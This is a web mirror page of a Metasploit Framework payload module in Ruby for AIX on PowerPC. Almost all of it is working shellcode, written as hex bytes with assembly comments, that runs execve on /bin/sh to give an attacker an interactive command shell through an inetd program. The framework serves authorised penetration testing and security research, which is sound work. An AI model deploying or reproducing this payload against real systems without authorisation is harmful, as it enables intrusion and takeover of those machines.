CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/aix/ppc/shell_interact.rb
Views: 11779
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 56
10
11
include Msf::Payload::Single
12
include Msf::Payload::Aix
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'AIX execve Shell for inetd',
18
'Description' => 'Simply execve /bin/sh (for inetd programs)',
19
'Author' => 'jduck',
20
'License' => MSF_LICENSE,
21
'Platform' => 'aix',
22
'Arch' => ARCH_PPC,
23
'PayloadType' => 'cmd_interact',
24
'Handler' => Msf::Handler::FindShell,
25
'Session' => Msf::Sessions::CommandShell
26
))
27
28
end
29
30
def generate(*args)
31
super(*args)
32
33
payload =
34
"\x7c\xa5\x2a\x79" + # /* xor. r5,r5,r5 */
35
"\x40\x82\xff\xfd" + # /* bnel <shellcode> */
36
"\x7f\xe8\x02\xa6" + # /* mflr r31 */
37
"\x3b\xff\x01\x20" + # /* cal r31,0x120(r31) */
38
"\x38\x7f\xff\x08" + # /* cal r3,-248(r31) */
39
"\x38\x9f\xff\x10" + # /* cal r4,-240(r31) */
40
"\x90\x7f\xff\x10" + # /* st r3,-240(r31) */
41
"\x90\xbf\xff\x14" + # /* st r5,-236(r31) */
42
"\x88\x5f\xff\x0f" + # /* lbz r2,-241(r31) */
43
"\x98\xbf\xff\x0f" + # /* stb r5,-241(r31) */
44
"\x4c\xc6\x33\x42" + # /* crorc cr6,cr6,cr6 */
45
"\x44\xff\xff\x02" + # /* svca */
46
"/bin/sh"+
47
"\x05"
48
49
end
50
end
51
52